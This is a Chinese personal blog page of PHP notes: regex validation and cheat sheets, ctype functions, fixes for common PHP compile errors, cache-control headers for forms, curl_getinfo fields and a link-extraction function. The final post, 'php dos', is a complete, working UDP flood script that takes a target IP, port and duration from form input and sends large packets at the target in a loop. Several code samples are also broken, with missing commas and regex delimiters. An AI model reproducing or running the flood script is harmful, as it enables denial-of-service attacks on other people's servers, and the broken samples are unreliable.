工作,学习,生活,这里将会有一些记录. 备用域名:http://meisw.wdlinux.cn 注册 | 登陆
浏览模式: 标准 | 列表分类:php

php正则判断必须是字母或数字的组合及ctype function使用

if(preg_match("/^[0-9a-zA-Z]{3,12}$/",$variable)){
              echo "<script>alert('只能是英文字母或数字, 且长度必须是3-12个字');history.back(-1);</script>";die;
}

//其实判断是否是字母和数字或字母数字的组合还可以用PHP ctype_alnum函数
if(!ctype_alnum($vipurl)){
echo '只能是字母或数字的组合';exit;
}

顺便复习下ctype functions
1.ctype_alnum(string $text)://不用说了,检查是否是字母或数字或字母数字的 组合
2.ctype_alpha(string $text):check for alphabetic character(s) //检查字符串是否是字母
3.ctype_cntrl(string $text):check for control character(s) //是否是控制字符如\n,\r,\t
4.ctype_digit(strint $text):check for numeric character(s) //是否是数字表示的字符

大多数时也许应该用is_numeric
这个要特别注意与is_numeric()的区别
例:$numeric_string='42';
$interger = 42;
ctype_digit($numeric_string);//true
ctype_digit($interger);//false
is_numeric($numeric_string); //true
is_numeric($interger); //true


5.ctype_graph(string $text):Check for any printable character(s) except space
6.ctype_lower():check for lowercase character(s)//检查是否是小写字母
7.ctype_upper():check for uppercase character(s)//检查是否是大写字母
8.ctype_space: check for whitespace character(s)//是否是空白字符
9.ctype_xdigit: check for character(s) representing a hexadecimal digit//检查是否是十六进制数字

php编译安装常见错误

精典错误
  /libxmlrpc/encoding.c:101:undefined reference to 'libiconv_close'
  collect2: ld returned 1 exit status
  make:*** [sapi/fpm/php-fpm] Error 1
  解决方法:
  #make ZEND_EXTRA_LIBS='-liconv'
  错误一、编译php出错
  /php-5.3.2/ext/fileinfo/libmagic/apprentice.c:147:internal compiler error:Segmentation fault
  Please submit a full bug report,
  with preprocessed source if appropriate.
  See <URL:http://bugzilla.redhat.com/bugzilla> for instructions.
  The bug is not reproducible,so it is likely a hardware or OS problem.
  make:*** [ext/fileinfo/libmagic/apprentice.lo] Error 1
  解决方法:内存大于1G即可,这是php5.3.2的一个bug
  --------------------------------------------------------------------
  错误二、重新构造configure文件出错
  ./buildconf --force
  Forcing buildconf
  buildconf:checking installation…
  buildconf:autoconf version 2.59 (ok)
  buildconf:Your version of autoconf likely contains buggy cache code.
  Running vcsclean for you.
  To avoid this,install autoconf-2.13.
  Can't figure out your VCS, not cleaning.
  解决方法:编译安装autoconf-2.13
  再将autoconf-2.13的auotconf文件至/usr/local/autoconf
  --------------------------------------------------------------------
  错误三、编译时缺少库
  configure: error: libXpm.(a|so) not found.
  解决方法:yum install libXpm-devel
  --------------------------------------------------------------------
  错误四、编译时缺少gmp.h文件
  configure: error: Unable to locate gmp.h
  解决方法:yum install gmp-devel
  --------------------------------------------------------------------
  错误五
  Configure: error: xml2-config not found. Please check your libxml2 installation.
  解决方法:
  #yum install libxml2 libxml2-devel (For Redhat & Fedora)
  # aptitude install libxml2-dev      (For ubuntu)
  --------------------------------------------------------------------
  错误六
  Checking for pkg-config… /usr/bin/pkg-config
  configure: error: Cannot find OpenSSL’s <evp.h>
  解决方法:
  #yum install openssl openssl-devel
  --------------------------------------------------------------------
  错误七
  Configure: error: Please reinstall the BZip2 distribution
  解决方法:
  # yum install bzip2 bzip2-devel
  --------------------------------------------------------------------
  错误八
  Configure: error: Please reinstall the libcurl distribution -
  easy.h should be in <curl-dir>/include/curl/
  解决方法:
  # yum install curl curl-devel   (For Redhat & Fedora)
  # install libcurl4-gnutls-dev    (For Ubuntu)
  --------------------------------------------------------------------
  错误九:
  Configure: error: libjpeg.(also) not found.
  解决方法:
  # yum install libjpeg libjpeg-devel
  --------------------------------------------------------------------
  错误十
  Configure: error: libpng.(also) not found.
  --------------------------------------------------------------------
  解决方法:
  # yum install libpng libpng-devel
  --------------------------------------------------------------------
  错误十一
  Configure: error: freetype.h not found.
  解决方法:
  #yum install freetype-devel
  --------------------------------------------------------------------
  错误十二
  Configure: error: Unable to locate gmp.h
  解决方法:
  # yum install gmp-devel
  --------------------------------------------------------------------
  错误十三
  Configure: error: Cannot find MySQL header files under /usr.
  Note that the MySQL client library is not bundled anymore!
  解决方法:
  # yum install mysql-devel            (For Redhat & Fedora)
  # apt-get install libmysql++-dev      (For Ubuntu)
  --------------------------------------------------------------------
  错误十四
  Configure: error: Please reinstall the ncurses distribution
  解决方法:
  # yum install ncurses ncurses-devel
  --------------------------------------------------------------------
  错误十五
  Checking for unixODBC support… configure: error: ODBC header file ‘/usr/include/sqlext.h’ not found!
  解决方法:
  # yum install unixODBC-devel
  --------------------------------------------------------------------
  错误十六
  Configure: error: Cannot find pspell
  解决方法:
  # yum install pspell-devel
  --------------------------------------------------------------------
  错误十七
  configure: error: mcrypt.h not found. Please reinstall libmcrypt.
  解决方法:
  # yum install libmcrypt libmcrypt-devel    (For Redhat & Fedora)
  # apt-get install libmcrypt-dev
  --------------------------------------------------------------------
  错误十八
  Configure: error: snmp.h not found. Check your SNMP installation.
  解决方法:
  # yum install net-snmp net-snmp-devel
  --------------------------------------------------------------------
  错误十九
  configure:error:Cannot find ldap.h
  解决方法:
  #yum install openldap-devel openldap
  错误二十
  configure:error:xslt-config not found. Please reinstall the libxslt >= 1.1.0 distribution
  解决方法:
  #yum install libxslt libxslt-devel
  错误二十一
  checking for libevent >=1.4.11 install prefix… configure: error: Could not find libevent >=1.4.11 in /usr/local/php
  解决方法:
  安装libevent-1.4.11以上版本至/usr/local
  tar xzvf libevent-1.4.14-stable.tar.gz
  cd libevent-1.4.14-stable
  ./configure --prefix=/usr/local
  make&&make install
  在编译。/configure时添加--with-libevent-dir=/usr/local即可
  错误二十二
  cc1: out of memory allocating 2036 bytes after a total of 81846272 bytes
  make: *** [ext/date/lib/parse_date.lo] Error 1
  报错:
  /usr/bin/ld: cannot find -lltdl
  collect2: ld returned 1 exit status
  make:*** [sapi/fpm/php-fpm] Error 1
  解决方法:
  安装ltdl
  #cd /libmcrypt-2.5.7/libltdl/
  #./configure --enable-ltdl-install
  #ldconfig
  #cd php-5.3.6
  #make ZEND_EXTRA_LIBS='-liconv'

libltdl.so.3: cannot open shared object file

rpm -qf /usr/lib/libltdl.a

libtool-ltdl-devel-1.5.22-7.el5_4

yum install -y libtool-ltdl-devel

 

表单过期的处理(提交出错后返回,保存原来数据)

开发过程中,经常会出现表单出错而返回页面的时候填写的信息全部丢失的情况,为了支持页面回跳,可以通过以下两种方法实现。
1.使用header头设置缓存控制头Cache-control。
header('Cache-control: private, must-revalidate');  //支持页面回跳
2.使用session_cache_limiter方法。
session_cache_limiter('private, must-revalidate'); //要写在session_start方法之前
下面的代码片断可以防止用户填写表单的时候,单击“提交”按钮返回时,刚刚在表单上填写的内容不会被清除:
session_cache_limiter('nocache');
session_cache_limiter('private');
session_cache_limiter('public');
session_start();
//以下是表单内容,这样在用户返回该表单时,已经填写的内容不会被清空
将该段代码贴到所要应用的脚本顶部即可。
Cache-Control消息头域说明Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。
请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh和only-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate和max-age。各个消息中的指令含义如表所示。

缓存指令

 

说    明

public 指示响应可被任何缓存区缓存
private 指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效
no-cache 指示请求或响应消息不能缓存
no-store 用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存
max-age 指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应
min-fresh 指示客户机可以接收响应时间小于当前时间加上指定时间的响应

php_curl_curl_getinfo

curl_getinfo返回信息

返回的数组中包括了以下信息:
"url"//资源网络地址
"content_type"//内容编码
"http_code"//HTTP状态码
"header_size"//header的大小
"request_size"//请求的大小
"filetime"//文件创建时间
"ssl_verify_result"//SSL验证结果
"redirect_count"//跳转技术
"total_time"//总耗时
"namelookup_time"//DNS查询耗时
"connect_time"//等待连接耗时
"pretransfer_time"//传输前准备耗时
"size_upload"//上传数据的大小
"size_download"//下载数据的大小
"speed_download"//下载速度
"speed_upload"//上传速度
"download_content_length”//下载内容的长度
"upload_content_length"//上传内容的长度
"starttransfer_time"//开始传输的时间
"redirect_time”//重定向耗时

php 正则表达式(模式修正符)

第八章(3)正则表达式(模式修正符)
正则表达式的匹配先后顺序:
1.模式单元 2.重复匹配 ? * + {} 3.边界限定 ^ $ b B 4.模式选择 |
模式修正符:
模式修正符是标记在整个模式之外的.
i :模式中的字符将同时匹配大小写字母.
m :字符串视为多行.
s :将字符串视为单行,换行符作为普通字符.
x :将模式中的空白忽略.
A :强制仅从目标字符串的开头开始匹配.
D :模式中的美元元字符仅匹配目标字符串的结尾.
U :匹配最近的字符串.

 

---------------------------

不是有m修饰符吗?
m:默认的正则开始 "^ "和结束 "$ "只是对于正则字符串如果在修饰符中加上 "m ",那么开始和结束将会指字符串的每一行:每一行的开头就是 "^ ",结尾就是 "$ "。  

-----

preg_match_all( "/^.+$/m ",   $menustr,   $regs);

PHP常用正则表达式收集

匹配中文字符的正则表达式: [\u4e00-\u9fa5]
评注:匹配中文还真是个头疼的事,有了这个表达式就好办了

匹配双字节字符(包括汉字在内):[^\x00-\xff]
评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

匹配空白行的正则表达式:\n\s*\r
评注:可以用来删除空白行

匹配HTML标记的正则表达式:<(\S*?)[^>]*>.*?</\1>|<.*? />
评注:网上流传的版本太糟糕,上面这个也仅仅能匹配部分,对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式:^\s*|\s*$
评注:可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式

匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*
评注:表单验证时很实用

匹配网址URL的正则表达式:[a-zA-z]+://[^\s]*
评注:网上流传的版本功能很有限,上面这个基本可以满足需求

匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
评注:表单验证时很实用

匹配国内电话号码:\d{3}-\d{8}|\d{4}-\d{7}
评注:匹配形式如 0511-4405222 或 021-87888822

匹配腾讯QQ号:[1-9][0-9]{4,}
评注:腾讯QQ号从10000开始

匹配中国邮政编码:[1-9]\d{5}(?!\d)
评注:中国邮政编码为6位数字

匹配身份证:\d{15}|\d{18}
评注:中国的身份证为15位或18位

匹配ip地址:\d+\.\d+\.\d+\.\d+
评注:提取ip地址时有用

匹配特定数字:
^[1-9]\d*$    //匹配正整数
^-[1-9]\d*$   //匹配负整数
^-?[1-9]\d*$   //匹配整数
^[1-9]\d*|0$  //匹配非负整数(正整数 + 0)
^-[1-9]\d*|0$   //匹配非正整数(负整数 + 0)
^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$   //匹配正浮点数
^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$  //匹配负浮点数
^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$  //匹配浮点数
^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$   //匹配非负浮点数(正浮点数 + 0)
^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$  //匹配非正浮点数(负浮点数 + 0)
评注:处理大量数据时有用,具体应用时注意修正

匹配特定字符串:
^[A-Za-z]+$  //匹配由26个英文字母组成的字符串
^[A-Z]+$  //匹配由26个英文字母的大写组成的字符串
^[a-z]+$  //匹配由26个英文字母的小写组成的字符串
^[A-Za-z0-9]+$  //匹配由数字和26个英文字母组成的字符串
^\w+$  //匹配由数字、26个英文字母或者下划线组成的字符串
评注:最基本也是最常用的一些表达式

-----------------------------------------------------

下面是一些特殊字符:
正则表达式中的特殊字符: (学习参考书-<<精通正则表达式>>)
字符
意义:对于字符,通常表示按字面意义,指出接着的字符为特殊字符,不作解释。
例如:/b/匹配字符'b',通过在b 前面加一个反斜杠,也就是/b/,则该字符变成特殊字符,表示
匹配一个单词的分界线。
或者:
对于几个字符,通常说明是特殊的,指出紧接着的字符不是特殊的,而应该按字面解释。
例如:*是一个特殊字符,匹配任意个字符(包括0个字符);例如:/a*/意味匹配0个或多个a。
为了匹配字面上的*,在a前面加一个反斜杠;例如:/a*/匹配'a*'。

字符^
意义:表示匹配的字符必须在最前边。
例如:/^A/不匹配"an A,"中的'A',但匹配"An A."中最前面的'A'。

字符$
意义:与^类似,匹配最末的字符。
例如:/t$/不匹配"eater"中的't',但匹配"eat"中的't'。

字符*
意义:匹配*前面的字符0次或n次。
例如:/bo*/匹配"A ghost booooed"中的'boooo'或"A bird warbled"中的'b',但不匹配"A goat g
runted"中的任何字符。

字符+
意义:匹配+号前面的字符1次或n次。等价于{1,}。
例如:/a+/匹配"candy"中的'a'和"caaaaaaandy."中的所有'a'。

字符?
意义:匹配?前面的字符0次或1次。
例如:/e?le?/匹配"angel"中的'el'和"angle."中的'le'。

字符.
意义:(小数点)匹配除换行符外的所有单个的字符。
例如:/.n/匹配"nay, an apple is on the tree"中的'an'和'on',但不匹配'nay'。


字符(x)
意义:匹配'x'并记录匹配的值。
例如:/(foo)/匹配和记录"foo bar."中的'foo'。匹配子串能被结果数组中的素[1], ..., [n] 返
回,或被RegExp对象的属性$1, ..., $9返回。

字符x|y
意义:匹配'x'或者'y'。
例如:/green|red/匹配"green apple"中的'green'和"red apple."中的'red'。

字符{n}
意义:这里的n是一个正整数。匹配前面的n个字符。
例如:/a{2}/不匹配"candy,"中的'a',但匹配"caandy," 中的所有'a'和"caaandy."中前面的两个
'a'。

字符{n,}
意义:这里的n是一个正整数。匹配至少n个前面的字符。
例如:/a{2,}不匹配"candy"中的'a',但匹配"caandy"中的所有'a'和"caaaaaaandy."中的所有'a'

字符{n,m}
意义:这里的n和m都是正整数。匹配至少n个最多m个前面的字符。
例如:/a{1,3}/不匹配"cndy"中的任何字符,但匹配 "candy,"中的'a',"caandy," 中的前面两个
'a'和"caaaaaaandy"中前面的三个'a',注意:即使"caaaaaaandy" 中有很多个'a',但只匹配前面的三
个'a'即"aaa"。

字符[xyz]
意义:一字符列表,匹配列出中的任一字符。你可以通过连字符-指出一个字符范围。
例如:[abcd]跟[a-c]一样。它们匹配"brisket"中的'b'和"ache"中的'c'。

字符[^xyz]
意义:一字符补集,也就是说,它匹配除了列出的字符外的所有东西。 你可以使用连字符-指出一
字符范围。
例如:[^abc]和[^a-c]等价,它们最早匹配"brisket"中的'r'和"chop."中的'h'。

字符
意义:匹配一个空格(不要与b混淆)

字符b
意义:匹配一个单词的分界线,比如一个空格(不要与混淆)
例如:/bnw/匹配"noonday"中的'no',/wyb/匹配"possibly yesterday."中的'ly'。

字符B
意义:匹配一个单词的非分界线
例如:/wBn/匹配"noonday"中的'on',/yBw/匹配"possibly yesterday."中的'ye'。

字符cX
意义:这里的X是一个控制字符。匹配一个字符串的控制字符。
例如:/cM/匹配一个字符串中的control-M。

字符d
意义:匹配一个数字,等价于[0-9]。
例如:/d/或/[0-9]/匹配"B2 is the suite number."中的'2'。

字符D
意义:匹配任何的非数字,等价于[^0-9]。
例如:/D/或/[^0-9]/匹配"B2 is the suite number."中的'B'。

字符f
意义:匹配一个表单符

字符n
意义:匹配一个换行符

字符r
意义:匹配一个回车符

字符s
意义:匹配一个单个white空格符,包括空格,tab,form feed,换行符,等价于[ fnrtv]。
例如:/sw*/匹配"foo bar."中的' bar'。

字符S
意义:匹配除white空格符以外的一个单个的字符,等价于[^ fnrtv]。
例如:/S/w*匹配"foo bar."中的'foo'。

字符t
意义:匹配一个制表符

字符v
意义:匹配一个顶头制表符

字符w
意义:匹配所有的数字和字母以及下划线,等价于[A-Za-z0-9_]。
例如:/w/匹配"apple,"中的'a',"$5.28,"中的'5'和"3D."中的'3'。

字符W
意义:匹配除数字、字母外及下划线外的其它字符,等价于[^A-Za-z0-9_]。
例如:/W/或者/[^$A-Za-z0-9_]/匹配"50%."中的'%'。

字符n
意义:这里的n是一个正整数。匹配一个正则表达式的最后一个子串的n的值(计数左圆括号)。

例如:/apple(,)sorange1/匹配"apple, orange, cherry, peach."中的'apple, orange',下面
有一个更加完整的例子。
注意:如果左圆括号中的数字比n指定的数字还小,则n取下一行的八进制escape作为描述。

字符ooctal和xhex
意义:这里的ooctal是一个八进制的escape值,而xhex是一个十六进制的escape值,允许在一个正则表达式中嵌入ASCII码。

--------------------------------------------------------------

PHP代码
$str = preg_replace("/(<a.*?>)(.*?)(<\/a>)/", '\1<span class="link">\2</span>\3', $str);
其中用了三个子模式(每个圆括号中内容为一个子模式),第一个是链接开始标签,第二个是链接文本,第三个是</a>

然后第二个参数中\1、\2、\3就表示这三个部分,要替换成什么样子还不简单?

获取页面中的所有链接地址的PHP函数

下面这个用PHP写的函数,可以获取任意的字符串$string中的所有链接地址($string可以是从一个HTML页面文件直接读取出来的字符串),结果保存在一个数组中返回.该函数自动把电子邮件地址排除在外,而且返回的数组中不会有重复元素.

 

PHP代码
  1. function GetAllLink($string)    
  2. {    
  3. $string = str_replace("\r","",$string);    
  4. $string = str_replace("\n","",$string);    
  5.   
  6. $regex[url] = "((http|https|ftp|telnet|news):\/\/)?([a-z0-9_\-\/\.]+\.[][a-z0-9:;&#@=_~%\?\/\.\,\+\-]+)";    
  7. $regex[email] = "([a-z0-9_\-]+)@([a-z0-9_\-]+\.[a-z0-9\-\._\-]+)";    
  8.   
  9. //去掉标签之间的文字    
  10. $string = eregi_replace(">[^<>]+<","><"$string);    
  11.   
  12. //去掉JAVASCRIPT代码    
  13. $string = eregi_replace("<!--.*//-->",""$string);    
  14.   
  15. //去掉非<a>的HTML标签    
  16. $string = eregi_replace("<[^a][^<>]*>",""$string);    
  17.   
  18. //去掉EMAIL链接    
  19. $string = eregi_replace("<a([ ]+)href=([\"']*)mailto:($regex[email])([\"']*)[^>]*>",""$string);    
  20.   
  21. //替换需要的网页链接    
  22. $string = eregi_replace("<a([ ]+)href=([\"']*)($regex[url])([\"']*)[^>]*>","\\3\t"$string);    
  23.   
  24. $output[0] = strtok($string"\t");    
  25. while(($temp = strtok("\t")))    
  26. {    
  27. if($temp && !in_array($temp$output))    
  28. $output[++$i] = $temp;    
  29. }    
  30.   
  31. return $output;    
  32. }    

 

 

PHP代码
  1.   
  2. <?php    
  3. $str = 'a1234';    
  4. if (preg_match("^[a-zA-Z0-9]{4,16}$"$str)) {    
  5. echo "验证成功";} else {    
  6. echo "验证失敗";}?>    
  7.   
  8.   
  9. <?php    
  10. $str = 'a1234';    
  11. if (preg_match("^(?:\d{15}|\d{18})$"$str)) {    
  12. echo "验证成功";    
  13. else {    
  14. echo "验证失敗";}    
  15. ?>    
  16.   

php dos

<?php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;

 

for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
       
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

Records:71123456789